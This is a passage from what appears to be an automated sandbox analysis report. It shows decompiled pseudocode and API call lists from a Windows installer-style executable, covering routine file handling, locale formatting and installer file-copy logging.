				long _t37;
				int _t40;
				void* _t42;
				void* _t48;
				void* _t49;
				long _t50;
				long _t51;
				void* _t54;
				void** _t55;
				DWORD* _t56;

				_t55 = __eax;
				 *((intOrPtr*)(__eax + 0xc)) = 0;
				 *((intOrPtr*)(__eax + 0x10)) = 0;
				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
				if(_t25 == 0) {
					_t26 = 0x80000000;
					_t51 = 2;
					_t50 = 3;
					 *((intOrPtr*)(__eax + 0x1c)) = E00403A28;
					L8:
					_t55[9] = 0x403a7f;
					_t55[8] = E00403A4F;
					if(_t55[0x12] == 0) {
						_t55[9] = E00403A4F;
						if(_t55[1] == 0xd7b2) {
							_t27 = GetStdHandle(0xfffffff5);
						} else {
							_t27 = GetStdHandle(0xfffffff6);
						}
						if(_t27 == 0xffffffff) {
							L35:
							_t55[1] = 0xd7b0;
							return GetLastError();
						} else {
							 *_t55 = _t27;
							L28:
							if(_t55[1] == 0xd7b1) {
								L32:
								return 0;
							}
							_t30 = GetFileType( *_t55);
							if(_t30 == 0) {
								CloseHandle( *_t55);
								_t55[1] = 0xd7b0;
								return 0x69;
							}
							if(_t30 == 2) {
								_t55[8] = E00403A52;
							}
							goto L32;
						}
					}
					_t34 = CreateFileA( &(_t55[0x12]), _t26, _t51, 0, _t50, 0x80, 0);
					if(_t34 == 0xffffffff) {
						goto L35;
					}
					 *_t55 = _t34;
					if(_t55[1] != 0xd7b3) {
						goto L28;
					}
					_t55[1] = _t55[1] - 1;
					_t36 = GetFileSize( *_t55, 0) + 1;
					if(_t36 == 0) {
						goto L35;
					}
					_t37 = _t36 - 0x81;
					if(_t37 < 0) {
						_t37 = 0;
					}
					if(SetFilePointer( *_t55, _t37, 0, 0) + 1 == 0) {
						goto L35;
					} else {
						_t40 = ReadFile( *_t55,  &(_t55[0x53]), 0x80, _t56, 0);
						_t54 = 0;
						if(_t40 != 1) {
							goto L35;
						}
						_t42 = 0;
						while(_t42 < _t54) {
							if( *((char*)(_t55 + _t42 + 0x14c)) == 0x1a) {
								if(SetFilePointer( *_t55, _t42 - _t54, 0, 2) + 1 == 0 || SetEndOfFile( *_t55) != 1) {
									goto L35;
								} else {
									goto L28;
								}
							}
							_t42 = _t42 + 1;
						}
						goto L28;
					}
				}
				_t48 = _t25 - 1;
				if(_t48 == 0) {
					_t26 = 0x40000000;
					_t51 = 1;
					_t50 = 2;
					L7:
					_t55[7] = E00403A52;
					goto L8;
				}
				_t49 = _t48 - 1;
				if(_t49 == 0) {
					_t26 = 0xc0000000;
					_t51 = 1;
					_t50 = 3;
					goto L7;
				}
				return _t49;
			}

0x00403a98
0x00403a9c
0x00403a9f
0x00403aa5
0x00403aaa
0x00403ab7
0x00403abc
0x00403ac1
0x00403ac6
0x00403af6
0x00403af6
0x00403afd
0x00403b08
0x00403bbc
0x00403bca
0x00403bd2
0x00403bcc
0x00403bd2
0x00403bd2
0x00403bda
0x00403c17
0x00403c17
0x00000000
0x00403bdc
0x00403bdc
0x00403bde
0x00403be5
0x00403bfe
0x00000000
0x00403bfe
0x00403be9
0x00403bf0
0x00403c04
0x00403c09
0x00000000
0x00403c10
0x00403bf5
0x00403bf7
0x00403bf7
0x00000000
0x00403bf5
0x00403bda
0x00403b1e
0x00403b26
0x00000000
0x00000000
0x00403b2c
0x00403b35
0x00000000
0x00000000
0x00403b3b
0x00403b47
0x00403b48
0x00000000
0x00000000
0x00403b4e
0x00403b53
0x00403b55
0x00403b55
0x00403b64
0x00000000
0x00403b6a
0x00403b7f
0x00403b84
0x00403b86
0x00000000
0x00000000
0x00403b8c
0x00403b8e
0x00403b9a
0x00403bae
0x00000000
0x00403bba
0x00000000
0x00403bba
0x00403bae
0x00403b9c
0x00403b9c
0x00000000
0x00403b8e
0x00403b64
0x00403aac
0x00403aad
0x00403acf
0x00403ad4
0x00403ad9
0x00403aef
0x00403aef
0x00000000
0x00403aef
0x00403aaf
0x00403ab0
0x00403ae0
0x00403ae5
0x00403aea
0x00000000
0x00403aea
0x00000000

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405314 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00405314(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t148;
				intOrPtr _t156;

				_t153 = __esi;
				_t152 = __edi;
				_push(0);
				_push(0);
				_push(0);
				_push(__esi);
				_push(__edi);
				_push(_t156);
				_push(0x40555c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t156;
				_t104 = GetSystemDefaultLCID();
				E0040515C(_t31, 0, 0x14,  &_v16);
				E004031E8(0x40c494, _t104, _v16, __edi, __esi);
				E0040515C(_t104, 0x405574, 0x1b,  &_v16);
				 *0x40c498 = E00404C14(0x405574, 0);
				E0040515C(_t104, 0x405574, 0x1c,  &_v16);
				 *0x40c499 = E00404C14(0x405574, 0);
				 *0x40c49a = E004051A8(_t104, 0x2c, 0xf);
				 *0x40c49b = E004051A8(_t104, 0x2e, 0xe);
				E0040515C(_t104, 0x405574, 0x19,  &_v16);
				 *0x40c49c = E00404C14(0x405574, 0);
				 *0x40c49d = E004051A8(_t104, 0x2f, 0x1d);
				E0040515C(_t104, "m/d/yy", 0x1f,  &_v16);
				E004031E8(0x40c4a0, _t104, _v16, _t152, _t153);
				E0040515C(_t104, "mmmm d, yyyy", 0x20,  &_v16);
				E004031E8(0x40c4a4, _t104, _v16, _t152, _t153);
				 *0x40c4a8 = E004051A8(_t104, 0x3a, 0x1e);
				E0040515C(_t104, 0x4055a8, 0x28,  &_v16);
				E004031E8(0x40c4ac, _t104, _v16, _t152, _t153);
				E0040515C(_t104, 0x4055b4, 0x29,  &_v16);
				E004031E8(0x40c4b0, _t104, _v16, _t152, _t153);
				E0040515C(_t104, 0x405574, 0x25,  &_v16);
				if(E00404C14(0x405574, 0) != 0) {
					E0040322C( &_v8, 0x4055cc);
				} else {
					E0040322C( &_v8, 0x4055c0);
				}
				E0040515C(_t104, 0x405574, 0x23,  &_v16);
				if(E00404C14(0x405574, 0) != 0) {
					E00403198( &_v12);
				} else {
					E0040322C( &_v12, 0x4055d8);
				}
				_push(_v8);
				_push(":mm");
				_push(_v12);
				E004033B4();
				_push(_v8);
				_push(":mm:ss");
				_push(_v12);
				E004033B4();
				_pop(_t148);
				 *[fs:eax] = _t148;
				_push(E00405563);
				return E004031B8( &_v16, 3);
			}

0x00405314
0x00405314
0x00405317
0x00405319
0x0040531b
0x0040531e
0x0040531f
0x00405322
0x00405323
0x00405328
0x0040532b
0x00405333
0x00405342
0x0040534f
0x00405364
0x00405373
0x00405388
0x00405397
0x004053aa
0x004053bd
0x004053d2
0x004053e1
0x004053f4
0x00405409
0x00405416
0x0040542b
0x00405438
0x0040544b
0x00405460
0x0040546d
0x00405482
0x0040548f
0x004054a4
0x004054b5
0x004054ce
0x004054b7
0x004054bf
0x004054bf
0x004054e3
0x004054f4
0x00405508
0x004054f6
0x004054fe
0x004054fe
0x0040550d
0x00405510
0x00405515
0x00405522
0x00405527
0x0040552a
0x0040552f
0x0040553c
0x00405543
0x00405546
0x00405549
0x0040555b

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040555C,?,?,?,?,00000000,00000000,00000000,?,0040653B,00000000,0040654E), ref: 0040532E

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Part of subcall function 004051A8: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Strings

m/d/yy, xrefs: 004053FD
mmmm d, yyyy, xrefs: 0040541F
:mm:ss, xrefs: 0040552A
AMPM, xrefs: 004054F9
:mm, xrefs: 00405510

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction ID: f22f4b18e1885e1925b87b286fa486de3d96a381b4aec2b7527aff107c54c5fa
Opcode Fuzzy Hash: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction Fuzzy Hash: 8E514234B00648ABDB00EBA59C91B9F776ADB89304F50957BB514BB3C6CA3DCA058B5C

Uniqueness

Uniqueness Score: -1.00%

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004036B8(char* __eax) {
				short _v2064;
				short* _t8;
				short* _t15;
				char* _t16;
				short* _t17;
				int _t18;
				int _t19;

				_t16 = __eax;
				_t18 = E004032F4(__eax);
				if(E004032F4(_t16) >= 0x400) {
					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
					_t19 = _t8;
					_push(_t19);
					_push(0);
					L00401224();
					_t17 = _t8;
					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
				} else {
					_push(MultiByteToWideChar(0, 0, E00403414(_t16), _t18,  &_v2064, 0x400));
					_t15 =  &_v2064;
					_push(_t15);
					L00401224();
					_t17 = _t15;
				}
				return _t17;
			}

0x004036c2
0x004036cb
0x004036d9
0x00403710
0x00403715
0x00403717
0x00403718
0x0040371a
0x0040371f
0x00403729
0x004036db
0x004036f7
0x004036f8
0x004036fc
0x004036fd
0x00403702
0x00403702
0x0040373a

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: aabfef4ac1302ec13b1649181b121c6b5a8ef12cbf1b40b6bb9ca22f2a6bf78e
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: aabfef4ac1302ec13b1649181b121c6b5a8ef12cbf1b40b6bb9ca22f2a6bf78e
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Uniqueness

Uniqueness Score: -1.00%

Function 00406564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00406564() {
				_Unknown_base(*)()* _t2;
				_Unknown_base(*)()* _t4;

				_t2 = GetProcAddress(GetModuleHandleA("user32.dll"), "SetProcessDPIAware");
				_t4 = _t2;
				if(_t4 != 0) {
					return  *_t4();
				}
				return _t2;
			}

0x00406575
0x0040657a
0x0040657e
0x00000000
0x00406580
0x00406583

APIs

GetModuleHandleA.KERNEL32(user32.dll,SetProcessDPIAware,?,004065A9,00409941), ref: 0040656F
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00406575

Strings

SetProcessDPIAware, xrefs: 00406565
user32.dll, xrefs: 0040656A

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetProcessDPIAware$user32.dll
API String ID: 1646373207-1137607222
Opcode ID: f4bf2cde95aaa1bdf38f3d59cb66c53f21b839fa02cb402c816b7bedf7b2570a
Instruction ID: 1bf9cc8084a254fdd570c786287d572880d476598588f9a2a9aa1fa269c7f067
Opcode Fuzzy Hash: f4bf2cde95aaa1bdf38f3d59cb66c53f21b839fa02cb402c816b7bedf7b2570a
Instruction Fuzzy Hash: 43B048D12413423AED1036F62CD2A1A058C4984A08722493B3A06B15CBC9BC8A24002E

Uniqueness

Uniqueness Score: -1.00%

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030DC() {

				E00403094();
				 *0x40c014 = GetModuleHandleA(0);
				 *0x40c01c = GetCommandLineA();
				 *0x40c018 = 0xa;
				return 0x402e34;
			}

0x004030dc
0x004030e8
0x004030f3
0x004030f9
0x00403108

APIs

GetModuleHandleA.KERNEL32(00000000,00409932), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409932), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: is-L5RJL.tmpPID: 5980, Parent PID: 5504COMMON

Execution Graph

Execution Coverage:	16.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00469F50 Relevance: 76.1, APIs: 4, Strings: 39, Instructions: 878
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00469F50(signed int __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int* _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v64;
				char _v65;
				signed short _v70;
				signed int _v72;
				signed short _v74;
				signed int _v76;
				signed short _v78;
				signed int _v80;
				signed short _v82;
				signed int _v84;
				char _v85;
				signed int _v86;
				char _v87;
				signed int _v92;
				struct _FILETIME _v100;
				struct _FILETIME _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void _v132;
				char _v148;
				signed int _v152;
				char _v156;
				char _v160;
				char _v164;
				signed int _v168;
				char _v172;
				signed int _v176;
				char _v180;
				signed int _v184;
				char _v188;
				signed int _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				char _v212;
				char _v216;
				intOrPtr _t490;
				intOrPtr _t491;
				signed int _t503;
				char _t519;
				signed int _t524;
				intOrPtr _t544;
				intOrPtr _t551;
				signed int _t577;
				signed int _t601;
				signed int _t654;
				signed int _t671;
				signed int _t681;
				signed int _t691;
				signed int _t698;
				signed int _t713;
				signed int _t718;
				signed int _t721;
				signed int _t722;
				void* _t735;
				signed int _t747;
				signed int _t756;
				void* _t769;
				signed int _t774;
				signed int _t775;
				signed int _t776;
				signed int _t780;
				signed int _t790;
				signed int _t804;
				FILETIME* _t825;
				signed int _t827;
				void* _t830;
				intOrPtr _t843;
				intOrPtr _t852;
				intOrPtr _t894;
				intOrPtr _t900;
				intOrPtr _t902;
				intOrPtr _t904;
				intOrPtr _t907;
				intOrPtr _t909;
				intOrPtr _t910;
				intOrPtr _t920;
				intOrPtr _t921;
				intOrPtr _t932;
				intOrPtr _t935;
				intOrPtr _t937;
				intOrPtr _t940;
				intOrPtr _t944;
				intOrPtr _t953;
				intOrPtr _t956;
				intOrPtr _t958;
				intOrPtr _t969;
				void* _t976;
				void* _t977;
				intOrPtr _t978;
				void* _t992;
				char _t998;

				_t974 = __esi;
				_t971 = __edi;
				_t849 = __ecx;
				_t976 = _t977;
				_t978 = _t977 + 0xffffff2c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v152 = 0;
				_v196 = 0;
				_v32 = 0;
				_v40 = 0;
				_v44 = 0;
				_v48 = 0;
				_v52 = 0;
				_v64 = 0;
				_v16 = __ecx;
				_v9 = __edx;
				_v8 = __eax;
				E00403740(_v16);
				E00403740(_a12);
				_push(_t976);
				_push(0x46b060);
				_push( *[fs:eax]);
				 *[fs:eax] = _t978;
				E00455348("-- File entry --", 0, __edi, __esi);
				_v55 = 0;
				_v54 = 0;
				_t847 =  *((intOrPtr*)(_v8 + 0x38));
				if( *((intOrPtr*)(_v8 + 0x38)) == 0xffffffff) {
					__eflags = 0;
					_v36 = 0;
				} else {
					_t843 =  *0x4901c4; // 0x22f5a60
					_v36 = E0040B420(_t843, _t847);
				}
				E00403418( &_v48);
				_v56 = 0;
				_v17 = 0;
				_t490 =  *0x48ff54; // 0x4cc177
				_v28 = _t490;
				_t491 =  *0x48ff58; // 0x0
				_v24 = _t491;
				E00403418( &_v32);
				E00403418( &_v64);
				_push(_t976);
				_push(0x46af27);
				_push( *[fs:edx]);
				 *[fs:edx] = _t978;
				_push(_t976);
				_push(0x46aede);
				_push( *[fs:edx]);
				 *[fs:edx] = _t978;
				_v58 = 0;
				_v92 = 0;
				if(_v9 != 0) {
					_v92 = _v92 | 0x00000800;
				}
				if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
					_v92 = _v92 | 0x00000010;
				}
				if(( *(_v8 + 0x4a) & 0x00000020) != 0) {
					_v92 = _v92 | 0x00000040;
				}
				if(( *(_v8 + 0x4b) & 0x00000080) != 0) {
					_v92 = _v92 | 0x00000080;
				}
				if(( *(_v8 + 0x4c) & 0x00000010) != 0) {
					_v92 = _v92 | 0x00000100;
				}
				E00403418( &_v52);
				_t503 = _v8;
				_t991 =  *((intOrPtr*)(_t503 + 0x4e)) != 1;
				if( *((intOrPtr*)(_t503 + 0x4e)) != 1) {
					__eflags = _a12;
					if(_a12 != 0) {
						E004034AC( &_v44, _a12);
					} else {
						E004737F0( *((intOrPtr*)(_v8 + 4)), _t849,  &_v44);
					}
				} else {
					_t969 =  *0x490028; // 0x2359b6c
					E004034AC( &_v44, _t969);
				}
				E0042C738(_v44,  &_v152);
				E004034AC( &_v44, _v152);
				E00468220(_v44, _t847, 1, _t971, _t974, _t991);
				_v160 = _v44;
				_v156 = 0xb;
				_t850 = 0;
				E00455538("Dest filename: %s", _t847, 0,  &_v160, _t971, _t974);
				_t992 = _v9 -  *0x490239; // 0x0
				if(_t992 != 0) {
					if(_v9 == 0) {
						E00455348("Non-default bitness: 32-bit", _t847, _t971, _t974);
					} else {
						E00455348("Non-default bitness: 64-bit", _t847, _t971, _t974);
					}
				}
				_v86 = 0;
				if( *0x49022f != 0 &&  *0x490240 >= 0x5000000) {
					_t830 = E00452F30(_v9, _t847, _v44, _t971, _t974); // executed
					if(_t830 != 0) {
						E00455348("Dest file is protected by Windows File Protection.", _t847, _t971, _t974);
						_t82 =  &_v86;
						 *_t82 =  *((char*)(_v8 + 0x4e)) == 0;
						_t998 =  *_t82;
					}
				}
				_t519 = E004511E4(_v9, _v44, _t998); // executed
				_v53 = _t519;
				if(_v55 == 0) {
					_v54 = _v53;
					_v55 = 1;
				}
				if(_v54 != 0) {
					_v92 = _v92 | 0x00000001;
				}
				if(_v36 == 0) {
					_t850 =  &_v100;
					_t848 = E00452E24( &_v100, _v16, __eflags);
				} else {
					if(( *(_v36 + 0x44) & 0x00000004) == 0) {
						_t825 = _v36 + 0x34;
						__eflags = _t825;
						LocalFileTimeToFileTime(_t825,  &_v100);
					} else {
						_t827 = _v36;
						_v100.dwLowDateTime =  *(_t827 + 0x34);
						_v100.dwHighDateTime =  *((intOrPtr*)(_t827 + 0x38));
					}
					_t848 = 1;
				}
				if(_t848 == 0) {
					E00455348("Time stamp of our file: (failed to read)", _t848, _t971, _t974);
				} else {
					E00468558( &_v100,  &_v152);
					_v160 = _v152;
					_v156 = 0xb;
					_t850 = 0;
					E00455538("Time stamp of our file: %s", _t848, 0,  &_v160, _t971, _t974);
				}
				if(_v53 == 0) {
					_t524 = _v8;
					__eflags =  *(_t524 + 0x4b) & 0x00000020;
					if(( *(_t524 + 0x4b) & 0x00000020) == 0) {
						goto L107;
					} else {
						__eflags = _v54;
						if(_v54 != 0) {
							goto L107;
						} else {
							E00455348("Skipping due to \"onlyifdestfileexists\" flag.", _t848, _t971, _t974);
							goto L125;
						}
					}
				} else {
					E00455348("Dest file exists.", _t848, _t971, _t974);
					if(( *(_v8 + 0x4c) & 0x00000001) == 0) {
						_t932 =  *0x48fc4c; // 0x230a890
						E004034AC( &_v32, _t932);
						_t850 =  &_v108;
						_v85 = E00452E24( &_v108, _v44, __eflags);
						__eflags = _v85;
						if(_v85 == 0) {
							E00455348("Time stamp of existing file: (failed to read)", _t848, _t971, _t974);
						} else {
							E00468558( &_v108,  &_v152);
							_v160 = _v152;
							_v156 = 0xb;
							_t850 = 0;
							E00455538("Time stamp of existing file: %s", _t848, 0,  &_v160, _t971, _t974);
						}
						_t681 = _v8;
						__eflags =  *(_t681 + 0x4c) & 0x00000002;
						if(( *(_t681 + 0x4c) & 0x00000002) != 0) {
							_v87 = 1;
							goto L78;
						} else {
							_v87 = 0;
							__eflags = _v36;
							if(_v36 == 0) {
								E0042C738(_v16,  &_v152);
								_v65 = E00451000(_v9,  &_v76, _v152, __eflags);
							} else {
								_t804 = _v36;
								__eflags =  *(_t804 + 0x44) & 0x00000001;
								_v65 = _t804 & 0xffffff00 | ( *(_t804 + 0x44) & 0x00000001) != 0x00000000;
								_v76 =  *(_v36 + 0x3c);
								_v72 =  *(_v36 + 0x40);
							}
							__eflags = _v65;
							if(_v65 == 0) {
								E00455348("Version of our file: (none)", _t848, _t971, _t974);
							} else {
								_v192 = _v74 & 0x0000ffff;
								_v188 = 0;
								_v184 = _v76 & 0x0000ffff;
								_v180 = 0;
								_v176 = _v70 & 0x0000ffff;
								_v172 = 0;
								_v168 = _v72 & 0x0000ffff;
								_v164 = 0;
								E00455538("Version of our file: %u.%u.%u.%u", _t848, 3,  &_v192, _t971, _t974);
							}
							E0042C738(_v44,  &_v152);
							_t850 =  &_v84;
							_t747 = E00451000(_v9,  &_v84, _v152, __eflags);
							__eflags = _t747;
							if(_t747 == 0) {
								E00455348("Version of existing file: (none)", _t848, _t971, _t974);
								__eflags = _v65;
								if(_v65 == 0) {
									_v87 = 1;
								}
								goto L78;
							} else {
								_v192 = _v82 & 0x0000ffff;
								_v188 = 0;
								_v184 = _v84 & 0x0000ffff;
								_v180 = 0;
								_v176 = _v78 & 0x0000ffff;
								_v172 = 0;
								_v168 = _v80 & 0x0000ffff;
								_v164 = 0;
								_t850 = 3;
								E00455538("Version of existing file: %u.%u.%u.%u", _t848, 3,  &_v192, _t971, _t974);
								__eflags = _v65;
								if(_v65 == 0) {
									L57:
									_t756 = _v8;
									 *(_t756 + 0x4c) & 0x00000004 = (_t756 & 0xffffff00 | ( *(_t756 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
									if(((_t756 & 0xffffff00 | ( *(_t756 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
										L59:
										E00455348("Existing file is a newer version. Skipping.", _t848, _t971, _t974);
										goto L125;
									} else {
										E004034AC( &_v152, _v44);
										E00403594( &_v152, 0x46b2bc);
										_t953 =  *0x48fc84; // 0x230abd4
										E00403594( &_v152, _t953);
										_t850 = 2;
										_t769 = E00475DF4(_v152, _t848, 2, 0, _t971, _t974, 6, 1, 4);
										__eflags = _t769 - 7;
										if(_t769 == 7) {
											goto L78;
										} else {
											goto L59;
										}
									}
								} else {
									__eflags = _v84 - _v76;
									if(_v84 > _v76) {
										goto L57;
									} else {
										__eflags = _v84 - _v76;
										if(_v84 != _v76) {
											L60:
											__eflags = _v84 - _v76;
											if(_v84 != _v76) {
												L78:
												__eflags = _v87;
												if(_v87 == 0) {
													L89:
													E00403418( &_v32);
													__eflags = _v86;
													if(_v86 == 0) {
														__eflags =  *(_v8 + 0x4a) & 0x00000001;
														if(__eflags == 0) {
															goto L94;
														} else {
															E004034AC( &_v152, _v44);
															E00403594( &_v152, 0x46b2bc);
															_t940 =  *0x48fc9c; // 0x230aee8
															E00403594( &_v152, _t940);
															_t850 = 1;
															__eflags = E00475DF4(_v152, _t848, 1, 0, _t971, _t974, 7, 1, 4) - 6;
															if(__eflags == 0) {
																while(1) {
																	L94:
																	_t848 = E00450F24(_v9, _v44, __eflags);
																	__eflags = _t848 - 0xffffffff;
																	if(_t848 == 0xffffffff) {
																		break;
																	}
																	__eflags = _t848 & 0x00000001;
																	if((_t848 & 0x00000001) == 0) {
																		break;
																	} else {
																		__eflags =  *(_v8 + 0x4b) & 0x00000004;
																		if(__eflags != 0) {
																			L99:
																			_t935 =  *0x48fc20; // 0x230a644
																			E004034AC( &_v32, _t935);
																			_t850 = _t848 & 0xfffffffe;
																			_t691 = E004512CC(_v9, _t848 & 0xfffffffe, _v44, __eflags);
																			__eflags = _t691;
																			if(_t691 == 0) {
																				E00455348("Failed to strip read-only attribute.", _t848, _t971, _t974);
																			} else {
																				E00455348("Stripped read-only attribute.", _t848, _t971, _t974);
																			}
																			__eflags =  *(_v8 + 0x4b) & 0x00000004;
																			if(__eflags != 0) {
																				break;
																			} else {
																				continue;
																			}
																		} else {
																			_t937 =  *0x48fc88; // 0x230ac84
																			_t698 = E00468468(_v44, _t848, _t850, _t937, _t971, _t974, __eflags);
																			__eflags = _t698;
																			if(_t698 == 0) {
																				goto L99;
																			} else {
																				E00455348("User opted not to strip the existing file\'s read-only attribute. Skipping.", _t848, _t971, _t974);
																				goto L125;
																			}
																		}
																	}
																	goto L152;
																}
																L107:
